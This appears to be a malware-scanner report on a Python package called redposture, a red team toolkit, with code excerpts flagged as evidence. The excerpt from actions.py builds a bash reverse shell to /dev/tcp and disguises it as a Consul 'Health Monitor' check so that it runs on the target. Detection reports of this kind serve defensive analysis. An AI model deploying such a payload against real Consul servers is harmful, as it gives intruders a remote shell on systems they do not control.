Hostile 93% python Download

redposture 6.0.14

Red team attack toolkit

“Security toolkit for listener emulation, endpoint discovery/trigger/collect, and Redis/Postgres/MongoDB/Docker/Oracle/ClickHouse/etcd/Docke…”

Python socket-to-stdio PTY reverse shellBuilds an interactive TCP reverse shell

Evidence

Imports Python base64 module actions.py · lines 1–42
1"""consul audit actions and compatibility helpers."""
2
3from __future__ import annotations
4
5import base64
6import ipaddress
7import json
8import secrets
9import shlex
10import shutil
11import ssl
12import subprocess
13import threading
14import time
15import urllib.error
16import urllib.parse
17from collections.abc import Callable
18from dataclasses import dataclass
19from typing import Any
20
21from ...clients.http_api import HttpApiClient, HttpClientConfig, format_http_authority, http_response_origin
22from ...clients.http_session import HttpSessionPool
23from ...clients.tls_cache import shared_client_ssl_context
24from ...console import Console
25from ...detection_io import DetectCall, DetectDelay, HttpRead, run_sync
26from ...discovery_frontier import DiscoveryFrontier
27from ...json_stream import JSONPath, JSONScalarStream
28from ...rendering import CountColorRule, format_count_value, render_colored_marker_line, render_tagged_detail_line
29from ...storage_discovery import DiscoveryCollector
30from ...utils import (
31 DEFAULT_MAX_NETWORK_HOSTS,
32 as_dict,
33 as_list,
34 collect_scan_ports,
35 collect_scan_targets,
36 is_signature_compat_typeerror,
37 utc_now_iso,
38)
39
40_CONSUL_TAG = "CONSUL"
41_CONSUL_SCOPE_NAMES = ("kv", "services", "agents")
42_CONSUL_REVSHELL_CHECK_ID_ …
AUTH or TOKEN variable assignment actions.py · lines 49–54
49:30… "connection refused"
50_STAGE_DETECT_PROTOCOL = "detect_protocol"
51_STAGE_AUTH_INFERENCE = "auth_inference_credentials"
52_STAGE_ACCESS_CAPABILITIES = "access_capabilities"
53_STAGE_DATA = "data"
54_THREAD_LOCAL_DEBUG_EMIT = t …
Builds interactive shell TCP output redirection actions.py · lines 2137–2148
2137:33… None,
2138 "deregister_status": None,
2139 "deregister_error": None,
2140 }
2141 script_inner = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 & disown"
2142 listener = f"{lhost}:{lport}"
2143 script = f"bash -c {shlex.quote(script_inner)}"
2144 script_args = ["bash", "-c", script_inner]
2145 payload_base = {
2146 "ID": check_id_value,
2147 "Name": "Health Monitor",
2148 "Interval": f"{_CONSUL_RE …
Python function names resemble random names async_detection.py · lines 66–78
66:29… ested, budget)
67 return max(0, requested)
68
69
70class AsyncDetectScheduler(Generic[T, D, R]):
71 def __init__(
72 self,
73 *,
⋯5 lines
Rule evaluation timeout: well-known/lib/stdlib/six::six-compatibility-module took 369010ms (limit: 90000ms) stage_runtime.py · lines 1–48
1"""Shared runtime helpers for staged audit modules."""
2
3from __future__ import annotations
4
5import copy
6import functools
7import inspect
8import json
9import os
10import sys
11import threading
12import time
13from collections import Counter
14from collections.abc import Awaitable, Callable, Iterable, Iterator, Mapping
15from contextlib import contextmanager
16from contextvars import ContextVar
17from dataclasses import dataclass, field, replace
18from typing import Any, Literal
19
20from . import audit_models as _audit_models
21from . import data_discovery, web_panels
22from .audit_config import AuditConfig
23from .audit_models import StageTrace
24from .clients.tls_cache import tls_context_cache_stats
25from .cve import CveCatalog, ProductResolver, enumerate_record, load_catalog, render_finding_lines
26from .discovery_options import DEFAULT_DISCOVER_TIME, UNLIMITED_DISCOVER_BYTES
27from .discovery_rendering import (
28 discovery_color_spans,
29 format_discovery_finding_line,
30 iter_disk_discovery_finding_line_chunks,
31)
32from .discovery_spool import SpoolingFindings, SpoolingStrings, contains_spooled
33from .discovery_values import DiskBackedText, contains_disk_backed, iter_json_chunks
34from .progress import CommandProgressOwner, NoOpProgress, ProgressHandle, suspend_active_progress_for_output
35from .rendering import (
36 format_report_line_for_console,
37 normalize_report_line_for_storage,
38 order_detection_fields,
39 render_colored_marker_line,
40 sanitize_report_line,
41 sanitize_report_payload,
42 suppress_redundant_auth_requirement,
43)
44from .scheduler import BoundedScheduler, SharedNestedScheduler
45from .show_limits import dump_flag_enabled, dump_flag_limit, show_flag_enabled, show_flag_limit
46from .targeting import (
47 DEFAULT_STREAM_TARGET_WINDOW_SIZE,
48 ScanTargetSpec,

Showing the top 5 files — 6 more files (117 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.